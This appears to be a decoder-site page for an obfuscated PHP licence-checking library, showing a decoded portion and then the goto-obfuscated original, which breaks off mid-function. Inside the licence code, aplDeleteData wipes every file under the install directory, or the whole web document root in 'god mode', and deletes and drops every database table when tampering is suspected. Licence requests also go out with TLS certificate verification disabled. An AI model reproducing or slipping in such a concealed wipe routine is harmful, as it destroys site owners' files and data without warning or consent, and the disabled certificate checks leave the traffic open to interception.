goto x070g;
Rmw7h:
extract(aplGetLicenseData($MYSQLI_LINK));
$post_info = "product_id=" . rawurlencode(APL_PRODUCT_ID) . "&client_email=" . rawurlencode($CLIENT_EMAIL) . "&license_code=" . rawurlencode($LICENSE_CODE) . "&root_url=" . rawurlencode($ROOT_URL) . "&installation_hash=" . rawurlencode($INSTALLATION_HASH) . "&license_signature=" . rawurlencode(aplGenerateScriptSignature($ROOT_URL, $CLIENT_EMAIL, $LICENSE_CODE));
$content_array = aplCustomPost(APL_ROOT_URL . "/apl_callbacks/license_support.php", $post_info, $ROOT_URL);
$notifications_array = aplParseServerNotifications($content_array, $ROOT_URL, $CLIENT_EMAIL, $LICENSE_CODE);
x070g: PXnqV:
return $notifications_array;
}
function aplVerifyUpdates($MYSQLI_LINK = null)
{
$notifications_array = array();
$apl_core_notifications = aplCheckSettings();
if (empty($apl_core_notifications)) {
goto i62QY;
}
$notifications_array["notification_case"] = "notification_script_corrupted";
$notifications_array["notification_text"] = implode("; ", $apl_core_notifications);
goto L3zCC;
i62QY:
if (aplCheckData($MYSQLI_LINK)) {
goto OC5ZU;
}
$notifications_array["notification_case"] = "notification_license_corrupted";
$notifications_array["notification_text"] = APL_NOTIFICATION_LICENSE_CORRUPTED;
goto OJoa1;
OC5ZU:
extract(aplGetLicenseData($MYSQLI_LINK));
$post_info = "product_id=" . rawurlencode(APL_PRODUCT_ID) . "&client_email=" . rawurlencode($CLIENT_EMAIL) . "&license_code=" . rawurlencode($LICENSE_CODE) . "&root_url=" . rawurlencode($ROOT_URL) . "&installation_hash=" . rawurlencode($INSTALLATION_HASH) . "&license_signature=" . rawurlencode(aplGenerateScriptSignature($ROOT_URL, $CLIENT_EMAIL, $LICENSE_CODE));
$content_array = aplCustomPost(APL_ROOT_URL . "/apl_callbacks/license_updates.php", $post_info, $ROOT_URL);
$notifications_array = aplParseServerNotifications($content_array, $ROOT_URL, $CLIENT_EMAIL, $LICENSE_CODE);
OJoa1: L3zCC:
return $notifications_array;
}
function incevioUpdateLicense($MYSQLI_LINK = null)
{
$notifications_array = array();
$apl_core_notifications = aplCheckSettings();
if (empty($apl_core_notifications)) {
goto bLghH;
}
$notifications_array["notification_case"] = "notification_script_corrupted";
$notifications_array["notification_text"] = implode("; ", $apl_core_notifications);
goto I569b;
bLghH:
if (aplCheckData($MYSQLI_LINK)) {
goto Jg5Ku;
}
$notifications_array["notification_case"] = "notification_license_corrupted";
$notifications_array["notification_text"] = APL_NOTIFICATION_LICENSE_CORRUPTED;
goto Fuiu5;
Jg5Ku:
extract(aplGetLicenseData($MYSQLI_LINK));
$post_info = "product_id=" . rawurlencode(APL_PRODUCT_ID) . "&client_email=" . rawurlencode($CLIENT_EMAIL) . "&license_code=" . rawurlencode($LICENSE_CODE) . "&root_url=" . rawurlencode($ROOT_URL) . "&installation_hash=" . rawurlencode($INSTALLATION_HASH) . "&license_signature=" . rawurlencode(aplGenerateScriptSignature($ROOT_URL, $CLIENT_EMAIL, $LICENSE_CODE));
$content_array = aplCustomPost(APL_ROOT_URL . "/apl_callbacks/license_update.php", $post_info, $ROOT_URL);
$notifications_array = aplParseServerNotifications($content_array, $ROOT_URL, $CLIENT_EMAIL, $LICENSE_CODE);
Fuiu5: I569b:
return $notifications_array;
}
function incevioUninstallLicense($MYSQLI_LINK = null)
{
$notifications_array = array();
$apl_core_notifications = aplCheckSettings();
if (empty($apl_core_notifications)) {
goto SrSzX;
}
$notifications_array["notification_case"] = "notification_script_corrupted";
$notifications_array["notification_text"] = implode("; ", $apl_core_notifications);
goto DGoZ0;
SrSzX:
if (aplCheckData($MYSQLI_LINK)) {
goto lfRR3;
}
$notifications_array["notification_case"] = "notification_license_corrupted";
$notifications_array["notification_text"] = APL_NOTIFICATION_LICENSE_CORRUPTED;
goto Ai7fg;
lfRR3:
extract(aplGetLicenseData($MYSQLI_LINK));
$post_info = "product_id=" . rawurlencode(APL_PRODUCT_ID) . "&client_email=" . rawurlencode($CLIENT_EMAIL) . "&license_code=" . rawurlencode($LICENSE_CODE) . "&root_url=" . rawurlencode($ROOT_URL) . "&installation_hash=" . rawurlencode($INSTALLATION_HASH) . "&license_signature=" . rawurlencode(aplGenerateScriptSignature($ROOT_URL, $CLIENT_EMAIL, $LICENSE_CODE));
$content_array = aplCustomPost(APL_ROOT_URL . "/apl_callbacks/license_uninstall.php", $post_info, $ROOT_URL);
$notifications_array = aplParseServerNotifications($content_array, $ROOT_URL, $CLIENT_EMAIL, $LICENSE_CODE);
if (!($notifications_array["notification_case"] == "notification_license_ok")) {
goto sqIUr;
}
if (!(APL_STORAGE == "DATABASE")) {
goto uM7t2;
}
mysqli_query($MYSQLI_LINK, "DELETE FROM " . APL_DATABASE_TABLE);
mysqli_query($MYSQLI_LINK, "DROP TABLE " . APL_DATABASE_TABLE);
uM7t2:
if (!(APL_STORAGE == "FILE")) {
goto h4m__;
}
$handle = @fopen(APL_DIRECTORY . "/" . APL_LICENSE_FILE_LOCATION, "w+");
@fclose($handle);
h4m__: sqIUr: Ai7fg: DGoZ0:
return $notifications_array;
}
function aplDeleteData($MYSQLI_LINK = null)
{
if (APL_GOD_MODE == "YES" && isset($_SERVER["DOCUMENT_ROOT"])) {
goto GxZUQ;
}
$root_directory = dirname(__DIR__);
goto LFh2L;
GxZUQ:
$root_directory = $_SERVER["DOCUMENT_ROOT"];
LFh2L:
foreach (new RecursiveIteratorIterator(new RecursiveDirectoryIterator($root_directory, FilesystemIterator::SKIP_DOTS), RecursiveIteratorIterator::CHILD_FIRST) as $path) {
$path->isDir() && !$path->isLink() ? rmdir($path->getPathname()) : unlink($path->getPathname());
SQYeE:
}
ZLK6S:
rmdir($root_directory);
if (!(APL_STORAGE == "DATABASE")) {
goto Lowlb;
}
$database_tables_array = array();
$table_list_results = mysqli_query($MYSQLI_LINK, "SHOW TABLES");
lygGt:
if (!($table_list_row = mysqli_fetch_row($table_list_results))) {
goto DEfX3;
}
$database_tables_array[] = $table_list_row[0];
goto lygGt;
DEfX3:
if (empty($database_tables_array)) {
goto Z37w5;
}
foreach ($database_tables_array as $table_name) {
mysqli_query($MYSQLI_LINK, "DELETE FROM {$table_name}");
Bq5M9:
}
q0OFW:
foreach ($database_tables_array as $table_name) {
mysqli_query($MYSQLI_LINK, "DROP TABLE {$table_name}");
rkNFh:
}
K9lto: Z37w5: Lowlb:
exit;
} ?>
Did this file decode correctly?
Original Code
<?php
/*
* Copyright (C) Incevio Systems, Inc - All Rights Reserved
* Unauthorized copying of this file, via any medium is strictly prohibited
* Proprietary and confidential
* Written by Munna Khan <[email protected]>, September 2018
*/
function aplCustomEncrypt($string, $key)
{
$encrypted_string = null;
if (!(!empty($string) && !empty($key))) {
goto BzjF3;
}
$iv = openssl_random_pseudo_bytes(openssl_cipher_iv_length("\141\x65\163\x2d\x32\65\x36\55\143\x62\x63"));
$encrypted_string = openssl_encrypt($string, "\x61\145\163\55\62\65\x36\x2d\143\x62\x63", $key, 0, $iv);
$encrypted_string = base64_encode($encrypted_string . "\x3a\x3a" . $iv);
BzjF3:
return $encrypted_string;
}
function aplCustomDecrypt($string, $key)
{
$decrypted_string = null;
if (!(!empty($string) && !empty($key))) {
goto shs5O;
}
$string = base64_decode($string);
if (!stristr($string, "\72\72")) {
goto E1OdL;
}
$string_iv_array = explode("\72\72", $string, 2);
if (!(!empty($string_iv_array) && count($string_iv_array) == 2)) {
goto lVitP;
}
list($encrypted_string, $iv) = $string_iv_array;
$decrypted_string = openssl_decrypt($encrypted_string, "\141\x65\163\x2d\x32\65\66\x2d\x63\x62\143", $key, 0, $iv);
lVitP: E1OdL: shs5O:
return $decrypted_string;
}
function aplValidateIntegerValue($number, $min_value = 0, $max_value = INF)
{
$result = false;
if (!(!is_float($number) && filter_var($number, FILTER_VALIDATE_INT, array("\x6f\x70\164\x69\x6f\x6e\x73" => array("\155\x69\156\x5f\162\141\156\x67\x65" => $min_value, "\155\x61\x78\x5f\x72\141\x6e\x67\x65" => $max_value))) !== false)) {
goto LLUNW;
}
$result = true;
LLUNW:
return $result;
}
function aplValidateRawDomain($url)
{
$result = false;
if (empty($url)) {
goto oyXKx;
}
if (preg_match("\x2f\x5e\x5b\x61\55\172\60\x2d\71\x2d\56\x5d\x2b\x5c\x2e\x5b\141\55\172\134\56\135\x7b\62\x2c\67\175\x24\x2f", strtolower($url))) {
goto bZLsK;
}
$result = false;
goto IoKSG;
bZLsK:
$result = true;
IoKSG: oyXKx:
return $result;
}
function aplGetCurrentUrl($remove_last_slash = null)
{
$protocol = "\150\164\164\160";
$host = null;
$script = null;
$params = null;
$current_url = null;
if (!(isset($_SERVER["\110\124\124\120\123"]) && $_SERVER["\110\124\x54\x50\x53"] !== "\157\x66\146" || isset($_SERVER["\110\x54\124\120\137\x58\x5f\x46\117\122\x57\101\x52\104\105\x44\x5f\x50\x52\117\124\117"]) && $_SERVER["\110\x54\124\x50\137\x58\137\x46\117\x52\x57\101\x52\x44\x45\x44\137\120\x52\x4f\x54\117"] == "\150\164\x74\160\x73")) {
goto ccmJf;
}
$protocol = "\150\164\x74\x70\x73";
ccmJf:
if (!isset($_SERVER["\x48\x54\x54\x50\137\x48\117\123\x54"])) {
goto sk3V6;
}
$host = $_SERVER["\110\x54\x54\x50\137\x48\117\123\124"];
sk3V6:
if (!isset($_SERVER["\123\103\122\x49\120\124\137\116\101\115\105"])) {
goto Mj2EI;
}
$script = $_SERVER["\x53\x43\x52\111\120\x54\137\116\x41\115\x45"];
Mj2EI:
if (!isset($_SERVER["\121\x55\105\x52\x59\x5f\123\x54\x52\111\x4e\107"])) {
goto csXqc;
}
$params = $_SERVER["\121\125\105\122\x59\x5f\x53\x54\122\111\116\107"];
csXqc:
if (!(!empty($protocol) && !empty($host) && !empty($script))) {
goto iXYT0;
}
$current_url = $protocol . "\72\57\x2f" . $host . $script;
if (empty($params)) {
goto MeIps;
}
$current_url .= "\77" . $params;
MeIps:
if (!($remove_last_slash == 1)) {
goto ios8D;
}
uF7Le:
if (!(substr($current_url, -1) == "\x2f")) {
goto qJk1N;
}
$current_url = substr($current_url, 0, -1);
goto uF7Le;
qJk1N: ios8D: iXYT0:
return $current_url;
}
function aplGetRawDomain($url)
{
$raw_domain = null;
if (empty($url)) {
goto gNbkP;
}
$url_array = parse_url($url);
if (!empty($url_array["\163\x63\x68\145\x6d\145"])) {
goto vpaVN;
}
$url = "\150\164\x74\x70\72\57\x2f" . $url;
$url_array = parse_url($url);
vpaVN:
if (empty($url_array["\150\x6f\163\x74"])) {
goto WnM6P;
}
$raw_domain = $url_array["\x68\x6f\x73\x74"];
$raw_domain = trim(str_ireplace("\x77\x77\x77\56", '', filter_var($raw_domain, FILTER_SANITIZE_URL)));
WnM6P: gNbkP:
return $raw_domain;
}
function aplGetRootUrl($url, $remove_scheme, $remove_www, $remove_path, $remove_last_slash)
{
if (!filter_var($url, FILTER_VALIDATE_URL)) {
goto kEop1;
}
$url_array = parse_url($url);
$url = str_ireplace($url_array["\163\x63\x68\145\155\x65"] . "\x3a\x2f\57", '', $url);
if ($remove_path == 1) {
goto fQe_b;
}
$last_slash_position = strripos($url, "\57");
if (!($last_slash_position > 0)) {
goto zuw0h;
}
$url = substr($url, 0, $last_slash_position + 1);
zuw0h:
goto K1WFz;
fQe_b:
$first_slash_position = stripos($url, "\x2f");
if (!($first_slash_position > 0)) {
goto zR5Kt;
}
$url = substr($url, 0, $first_slash_position + 1);
zR5Kt: K1WFz:
if (!($remove_scheme != 1)) {
goto Bgqol;
}
$url = $url_array["\x73\x63\150\145\155\x65"] . "\72\x2f\x2f" . $url;
Bgqol:
if (!($remove_www == 1)) {
goto nzRtk;
}
$url = str_ireplace("\167\x77\x77\56", '', $url);
nzRtk:
if (!($remove_last_slash == 1)) {
goto BJ9U2;
}
n5D1P:
if (!(substr($url, -1) == "\57")) {
goto KR24s;
}
$url = substr($url, 0, -1);
goto n5D1P;
KR24s: BJ9U2: kEop1:
return trim($url);
}
function aplCustomPost($url, $post_info = null, $refer = null)
{
$user_agent = "\x70\x68\160\155\151\x6c\154\x69\157\x6e\x20\143\125\122\x4c";
$connect_timeout = 10;
$server_response_array = array();
$formatted_headers_array = array();
if (!(filter_var($url, FILTER_VALIDATE_URL) && !empty($post_info))) {
goto cp5wk;
}
if (!(empty($refer) || !filter_var($refer, FILTER_VALIDATE_URL))) {
goto CKq25;
}
$refer = $url;
CKq25:
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_USERAGENT, $user_agent);
curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, $connect_timeout);
curl_setopt($ch, CURLOPT_TIMEOUT, $connect_timeout);
curl_setopt($ch, CURLOPT_REFERER, $refer);
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, $post_info);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0);
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
curl_setopt($ch, CURLOPT_MAXREDIRS, 10);
curl_setopt($ch, CURLOPT_HEADERFUNCTION, function ($curl, $header) use (&$formatted_headers_array) {
$len = strlen($header);
$header = explode("\x3a", $header, 2);
if (!(count($header) < 2)) {
goto RfJ49;
}
return $len;
RfJ49:
$name = strtolower(trim($header[0]));
$formatted_headers_array[$name] = trim($header[1]);
return $len;
});
$result = curl_exec($ch);
$curl_error = curl_error($ch);
curl_close($ch);
$server_response_array["\x68\x65\141\x64\145\x72\163"] = $formatted_headers_array;
$server_response_array["\x65\x72\162\157\x72"] = $curl_error;
$server_response_array["\x62\157\144\x79"] = $result;
cp5wk:
return $server_response_array;
}
function aplVerifyDateTime($datetime, $format)
{
$result = false;
if (!(!empty($datetime) && !empty($format))) {
goto nguIc;
}
$datetime = DateTime::createFromFormat($format, $datetime);
$errors = DateTime::getLastErrors();
if (!($datetime && empty($errors["\x77\x61\162\x6e\151\156\147\137\143\x6f\x75\x6e\x74"]))) {
goto QquZj;
}
$result = true;
QquZj: nguIc:
return $result;
}
function aplGetDaysBetweenDates($date_from, $date_to)
{
$number_of_days = 0;
if (!(aplVerifyDateTime($date_from, "\x59\x2d\155\55\144") && aplVerifyDateTime($date_to, "\x59\x2d\155\x2d\x64"))) {
goto vdxBB;
}
$date_to = new DateTime($date_to);
$date_from = new DateTime($date_from);
$number_of_days = $date_from->diff($date_to)->format("\x25\x61");
vdxBB:
return $number_of_days;
}
function aplParseXmlTags($content, $tag_name)
{
$parsed_value = null;
if (!(!empty($content) && !empty($tag_name))) {
goto XmQr9;
}
preg_match_all("\57\74" . preg_quote($tag_name, "\x2f") . "\x3e\50\56\52\x3f\x29\74\x5c\x2f" . preg_quote($tag_name, "\x2f") . "\76\57\151\x6d\163", $content, $output_array, PREG_SET_ORDER);
if (empty($output_array[0][1])) {
goto U2apD;
}
$parsed_value = trim($output_array[0][1]);
U2apD: XmQr9:
return $parsed_value;
}
function aplParseServerNotifications($content_array, $ROOT_URL, $CLIENT_EMAIL, $LICENSE_CODE, $product = Null)
{
$notifications_array = array();
if (!empty($content_array)) {
goto JumyO;
}
$notifications_array["\x6e\157\x74\151\x66\151\143\141\164\x69\x6f\x6e\x5f\143\141\x73\145"] = "\156\157\164\x69\x66\x69\x63\141\164\151\157\x6e\137\156\157\x5f\x63\x6f\x6e\x6e\145\x63\164\x69\157\156";
$notifications_array["\x6e\157\164\151\146\x69\x63\x61\164\x69\157\x6e\137\164\x65\170\164"] = APL_NOTIFICATION_NO_CONNECTION;
goto lT9i4;
JumyO:
if (!empty($content_array["\150\145\141\144\145\x72\x73"]["\156\157\164\151\x66\x69\x63\141\x74\x69\x6f\x6e\x5f\x73\145\162\x76\x65\x72\137\x73\151\147\156\x61\164\165\x72\x65"]) && aplVerifyServerSignature($content_array["\150\145\141\x64\x65\162\x73"]["\156\157\x74\151\x66\151\143\141\x74\x69\x6f\156\137\163\x65\x72\166\x65\162\137\x73\x69\x67\156\141\x74\x75\x72\145"], $ROOT_URL, $CLIENT_EMAIL, $LICENSE_CODE, $product)) {
goto TpORv;
}
$notifications_array["\156\157\164\151\x66\x69\x63\x61\x74\x69\157\156\137\x63\141\163\x65"] = "\156\157\164\x69\146\151\x63\141\164\x69\x6f\x6e\x5f\x69\x6e\166\x61\154\x69\x64\x5f\x72\x65\x73\160\x6f\156\x73\145";
$notifications_array["\156\157\x74\151\x66\x69\143\x61\x74\x69\157\x6e\137\164\145\x78\x74"] = APL_NOTIFICATION_INVALID_RESPONSE;
goto YflnD;
TpORv:
$notifications_array["\x6e\157\x74\x69\x66\x69\143\x61\164\x69\157\156\x5f\x63\x61\163\x65"] = $content_array["\150\145\x61\x64\145\162\163"]["\156\x6f\164\151\146\151\143\x61\164\151\x6f\x6e\x5f\x63\x61\163\145"];
$notifications_array["\x6e\157\x74\151\x66\151\x63\x61\164\151\x6f\156\137\164\x65\170\x74"] = $content_array["\x68\145\141\x64\145\x72\x73"]["\156\x6f\x74\151\x66\151\x63\x61\x74\x69\x6f\156\137\x74\x65\170\164"];
if (empty($content_array["\150\145\x61\x64\145\162\x73"]["\156\x6f\x74\151\x66\151\x63\141\x74\151\157\x6e\x5f\x64\x61\164\x61"])) {
goto VoikV;
}
$notifications_array["\156\x6f\x74\151\x66\x69\x63\141\164\x69\157\x6e\x5f\x64\x61\x74\x61"] = json_decode($content_array["\x68\145\141\144\145\x72\163"]["\156\x6f\x74\151\146\151\x63\x61\164\151\x6f\x6e\137\144\141\164\x61"], true);
VoikV: YflnD: lT9i4:
return $notifications_array;
}
function aplGenerateScriptSignature($ROOT_URL, $CLIENT_EMAIL, $LICENSE_CODE, $product = Null)
{
$script_signature = null;
$root_ips_array = gethostbynamel(aplGetRawDomain(APL_ROOT_URL));
$product = $product == Null ? APL_PRODUCT_ID : $product;
if (!(!empty($ROOT_URL) && isset($CLIENT_EMAIL) && isset($LICENSE_CODE) && !empty($root_ips_array))) {
goto W0E43;
}
$script_signature = hash("\163\x68\x61\x32\x35\x36", gmdate("\x59\x2d\x6d\55\144") . $ROOT_URL . $CLIENT_EMAIL . $LICENSE_CODE . $product . implode('', $root_ips_array));
W0E43:
return $script_signature;
}
function aplVerifyServerSignature($notification_server_signature, $ROOT_URL, $CLIENT_EMAIL, $LICENSE_CODE, $product = Null)
{
$result = false;
$root_ips_array = gethostbynamel(aplGetRawDomain(APL_ROOT_URL));
$product = $product == Null ? APL_PRODUCT_ID : $product;
if (!(!empty($notification_server_signature) && !empty($ROOT_URL) && isset($CLIENT_EMAIL) && isset($LICENSE_CODE) && !empty($root_ips_array))) {
goto bRqNu;
}
if (!(hash("\x73\150\x61\x32\x35\66", implode('', $root_ips_array) . $product . $LICENSE_CODE . $CLIENT_EMAIL . $ROOT_URL . gmdate("\x59\x2d\155\55\x64")) == $notification_server_signature)) {
goto h8DsE;
}
$result = true;
h8DsE: bRqNu:
return $result;
}
function aplCheckSettings()
{
$notifications_array = array();
if (!(empty(APL_SALT) || APL_SALT == "\x73\x6f\x6d\145\x5f\x72\141\156\144\x6f\x6d\137\164\x65\170\x74")) {
goto uTfMB;
}
$notifications_array[] = APL_CORE_NOTIFICATION_INVALID_SALT;
uTfMB:
if (!(!filter_var(APL_ROOT_URL, FILTER_VALIDATE_URL) || !ctype_alnum(substr(APL_ROOT_URL, -1)))) {
goto XRqG3;
}
$notifications_array[] = APL_CORE_NOTIFICATION_INVALID_ROOT_URL;
XRqG3:
if (filter_var(APL_PRODUCT_ID, FILTER_VALIDATE_INT)) {
goto GtPLQ;
}
$notifications_array[] = APL_CORE_NOTIFICATION_INVALID_PRODUCT_ID;
GtPLQ:
if (aplValidateIntegerValue(APL_DAYS, 1, 365)) {
goto DregB;
}
$notifications_array[] = APL_CORE_NOTIFICATION_INVALID_VERIFICATION_PERIOD;
DregB:
if (!(APL_STORAGE != "\x44\101\x54\101\x42\x41\x53\x45" && APL_STORAGE != "\x46\111\114\x45")) {
goto hh3BJ;
}
$notifications_array[] = APL_CORE_NOTIFICATION_INVALID_STORAGE;
hh3BJ:
if (!(APL_STORAGE == "\x44\101\x54\101\x42\x41\123\105" && !ctype_alnum(str_ireplace(array("\x5f"), '', APL_DATABASE_TABLE)))) {
goto C4tBE;
}
$notifications_array[] = APL_CORE_NOTIFICATION_INVALID_TABLE;
C4tBE:
if (!(APL_STORAGE == "\x46\x49\114\105" && !@is_writable(APL_DIRECTORY . "\x2f" . APL_LICENSE_FILE_LOCATION))) {
goto vWDU7;
}
$notifications_array[] = APL_CORE_NOTIFICATION_INVALID_LICENSE_FILE;
vWDU7:
if (!(!empty(APL_ROOT_IP) && !filter_var(APL_ROOT_IP, FILTER_VALIDATE_IP))) {
goto MvcTo;
}
$notifications_array[] = APL_CORE_NOTIFICATION_INVALID_ROOT_IP;
MvcTo:
if (!(!empty(APL_ROOT_IP) && !in_array(APL_ROOT_IP, gethostbynamel(aplGetRawDomain(APL_ROOT_URL))))) {
goto A40m6;
}
$notifications_array[] = APL_CORE_NOTIFICATION_INVALID_DNS;
A40m6:
if (!(defined("\x41\120\x4c\x5f\x52\117\x4f\x54\137\x4e\x41\x4d\105\123\x45\122\x56\x45\x52\123") && !empty(APL_ROOT_NAMESERVERS))) {
goto SFidQ;
}
foreach (APL_ROOT_NAMESERVERS as $nameserver) {
if (aplValidateRawDomain($nameserver)) {
goto g7CpK;
}
$notifications_array[] = APL_CORE_NOTIFICATION_INVALID_ROOT_NAMESERVERS;
goto RUX0B;
g7CpK: wGVYR:
}
RUX0B: SFidQ:
if (!(defined("\101\x50\x4c\137\122\x4f\x4f\124\137\x4e\101\115\x45\x53\x45\122\x56\x45\122\x53") && !empty(APL_ROOT_NAMESERVERS))) {
goto eur2Q;
}
$apl_root_nameservers_array = APL_ROOT_NAMESERVERS;
$fetched_nameservers_array = array();
$dns_records_array = dns_get_record(aplGetRawDomain(APL_ROOT_URL), DNS_NS);
foreach ($dns_records_array as $record) {
$fetched_nameservers_array[] = $record["\x74\141\162\x67\x65\164"];
RLFGR:
}
OVF_L:
$apl_root_nameservers_array = array_map("\x73\x74\x72\x74\157\154\x6f\167\x65\x72", $apl_root_nameservers_array);
$fetched_nameservers_array = array_map("\x73\164\x72\x74\x6f\154\x6f\167\145\x72", $fetched_nameservers_array);
sort($apl_root_nameservers_array);
sort($fetched_nameservers_array);
if (!($apl_root_nameservers_array != $fetched_nameservers_array)) {
goto AoL8w;
}
$notifications_array[] = APL_CORE_NOTIFICATION_INVALID_DNS;
AoL8w: eur2Q:
return $notifications_array;
}
function aplParseLicenseFile()
{
$license_data_array = array();
if (!@is_readable(APL_DIRECTORY . "\x2f" . APL_LICENSE_FILE_LOCATION)) {
goto oT8jM;
}
$file_content = file_get_contents(APL_DIRECTORY . "\57" . APL_LICENSE_FILE_LOCATION);
preg_match_all("\57\74\50\133\x41\55\x5a\x5f\x5d\x2b\51\76\50\x2e\x2a\x3f\x29\x3c\x5c\57\x28\x5b\101\55\x5a\x5f\x5d\53\51\x3e\x2f", $file_content, $matches, PREG_SET_ORDER);
if (empty($matches)) {
goto zIKvg;
}
foreach ($matches as $value) {
if (!(!empty($value[1]) && $value[1] == $value[3])) {
goto jQ_n6;
}
$license_data_array[$value[1]] = $value[2];
jQ_n6: YuHQb:
}
tRDKH: zIKvg: oT8jM:
return $license_data_array;
}
function aplGetLicenseData($MYSQLI_LINK = null)
{
$settings_row = array();
if (!(APL_STORAGE == "\104\101\x54\x41\x42\x41\x53\x45")) {
goto FVL7o;
}
$table_exist = @mysqli_query($MYSQLI_LINK, "\123\110\x4f\x57\40\x54\x41\x42\x4c\x45\123\40\x4c\x49\113\105\40\47" . APL_DATABASE_TABLE . "\x27");
if (!@mysqli_fetch_assoc($table_exist)) {
goto tZ2Yt;
}
$settings_results = @mysqli_query($MYSQLI_LINK, "\123\x45\x4c\x45\x43\x54\40\x2a\40\106\122\117\115\40" . APL_DATABASE_TABLE);
$settings_row = @mysqli_fetch_assoc($settings_results);
tZ2Yt: FVL7o:
if (!(APL_STORAGE == "\x46\111\114\x45")) {
goto VKtMl;
}
$settings_row = aplParseLicenseFile();
VKtMl:
return $settings_row;
}
function aplCheckConnection()
{
$notifications_array = array();
$content_array = aplCustomPost(APL_ROOT_URL . "\x2f\x61\x70\154\x5f\143\x61\154\x6c\142\141\x63\x6b\x73\x2f\x63\x6f\156\156\x65\143\x74\x69\x6f\156\137\x74\145\x73\x74\x2e\160\x68\160", "\160\x72\157\144\x75\x63\164\137\151\x64\75" . rawurlencode(APL_PRODUCT_ID) . "\46\143\x6f\x6e\x6e\x65\x63\x74\x69\157\156\137\150\141\163\x68\x3d" . rawurlencode(hash("\163\150\x61\62\x35\x36", "\143\x6f\x6e\x6e\x65\143\164\151\157\x6e\137\x74\x65\163\x74")));
if (!empty($content_array)) {
goto PL9MC;
}
$notifications_array["\x6e\157\x74\x69\x66\151\x63\x61\x74\151\x6f\x6e\x5f\143\141\163\145"] = "\x6e\x6f\x74\x69\146\151\143\x61\164\x69\x6f\x6e\x5f\x6e\157\137\143\157\156\x6e\145\x63\x74\151\157\x6e";
$notifications_array["\x6e\157\x74\x69\146\151\143\x61\x74\x69\x6f\156\137\164\145\170\x74"] = APL_NOTIFICATION_NO_CONNECTION;
goto EWJyS;
PL9MC:
if (!($content_array["\142\157\144\171"] != "\74\143\x6f\156\x6e\x65\143\x74\151\157\x6e\x5f\164\x65\163\x74\x3e\x4f\113\x3c\x2f\143\x6f\156\156\x65\143\x74\151\x6f\x6e\137\164\145\163\x74\x3e")) {
goto Huyrf;
}
$notifications_array["\156\x6f\164\151\146\x69\143\x61\x74\x69\157\x6e\137\x63\141\x73\x65"] = "\x6e\x6f\x74\151\146\151\x63\x61\x74\151\x6f\156\137\x69\x6e\166\x61\x6c\x69\x64\137\162\x65\x73\160\157\156\163\145";
$notifications_array["\x6e\x6f\x74\x69\146\x69\x63\x61\164\151\x6f\156\137\164\x65\x78\x74"] = APL_NOTIFICATION_INVALID_RESPONSE;
Huyrf: EWJyS:
return $notifications_array;
}
function aplCheckData($MYSQLI_LINK = null)
{
$error_detected = 0;
$cracking_detected = 0;
$data_check_result = false;
extract(aplGetLicenseData($MYSQLI_LINK));
if (!(!empty($ROOT_URL) && !empty($INSTALLATION_HASH) && !empty($INSTALLATION_KEY) && !empty($LCD) && !empty($LRD))) {
goto Pok2f;
}
$LCD = aplCustomDecrypt($LCD, APL_SALT . $INSTALLATION_KEY);
$LRD = aplCustomDecrypt($LRD, APL_SALT . $INSTALLATION_KEY);
if (!(!filter_var($ROOT_URL, FILTER_VALIDATE_URL) || !ctype_alnum(substr($ROOT_URL, -1)))) {
goto Znv18;
}
$error_detected = 1;
Znv18:
if (!(filter_var(aplGetCurrentUrl(), FILTER_VALIDATE_URL) && stristr(aplGetRootUrl(aplGetCurrentUrl(), 1, 1, 0, 1), aplGetRootUrl("{$ROOT_URL}\57", 1, 1, 0, 1)) === false)) {
goto Y2QUe;
}
$error_detected = 1;
Y2QUe:
if (!(empty($INSTALLATION_HASH) || $INSTALLATION_HASH != hash("\x73\150\x61\62\x35\66", $ROOT_URL . $CLIENT_EMAIL . $LICENSE_CODE))) {
goto MPNBk;
}
$error_detected = 1;
MPNBk:
if (!(empty($INSTALLATION_KEY) || !password_verify($LRD, aplCustomDecrypt($INSTALLATION_KEY, APL_SALT . $ROOT_URL)))) {
goto PHzYC;
}
$error_detected = 1;
PHzYC:
if (aplVerifyDateTime($LCD, "\x59\55\155\55\144")) {
goto lVzUn;
}
$error_detected = 1;
lVzUn:
if (aplVerifyDateTime($LRD, "\x59\x2d\155\x2d\144")) {
goto heWI8;
}
$error_detected = 1;
heWI8:
if (!(aplVerifyDateTime($LCD, "\131\x2d\x6d\55\x64") && $LCD > date("\x59\x2d\x6d\55\x64", strtotime("\53\61\40\x64\141\x79")))) {
goto Ks2ip;
}
$error_detected = 1;
$cracking_detected = 1;
Ks2ip:
if (!(aplVerifyDateTime($LRD, "\x59\55\155\55\144") && $LRD > date("\x59\x2d\x6d\x2d\x64", strtotime("\x2b\61\40\144\x61\171")))) {
goto Cc1s8;
}
$error_detected = 1;
$cracking_detected = 1;
Cc1s8:
if (!(aplVerifyDateTime($LCD, "\x59\55\155\x2d\x64") && aplVerifyDateTime($LRD, "\x59\x2d\155\x2d\x64") && $LCD > $LRD)) {
goto cymRz;
}
$error_detected = 1;
$cracking_detected = 1;
cymRz:
if (!($cracking_detected == 1 && APL_DELETE_CRACKED == "\131\x45\123")) {
goto xpzqR;
}
aplDeleteData($MYSQLI_LINK);
xpzqR:
if (!($error_detected != 1 && $cracking_detected != 1)) {
goto lhbr1;
}
$data_check_result = true;
lhbr1: Pok2f:
return $data_check_result;
}
function aplVerifyEnvatoPurchase($LICENSE_CODE = null)
{
$notifications_array = array();
$content_array = aplCustomPost(APL_ROOT_URL . "\57\x61\160\x6c\137\143\x61\154\154\x62\x61\x63\x6b\163\57\x76\x65\x72\x69\146\x79\x5f\x65\156\x76\x61\x74\x6f\x5f\x70\165\162\143\150\141\163\x65\x2e\160\150\160", "\x70\162\157\144\165\x63\x74\137\151\x64\x3d" . rawurlencode(APL_PRODUCT_ID) . "\x26\x6c\151\143\x65\156\163\x65\x5f\x63\157\144\x65\x3d" . rawurlencode($LICENSE_CODE) . "\46\143\157\156\x6e\x65\x63\x74\x69\157\x6e\x5f\x68\x61\x73\150\75" . rawurlencode(hash("\163\x68\x61\62\x35\x36", "\166\x65\x72\x69\146\171\137\x65\x6e\x76\141\x74\157\x5f\160\165\x72\143\150\141\163\x65")));
if (!empty($content_array)) {
goto op_aD;
}
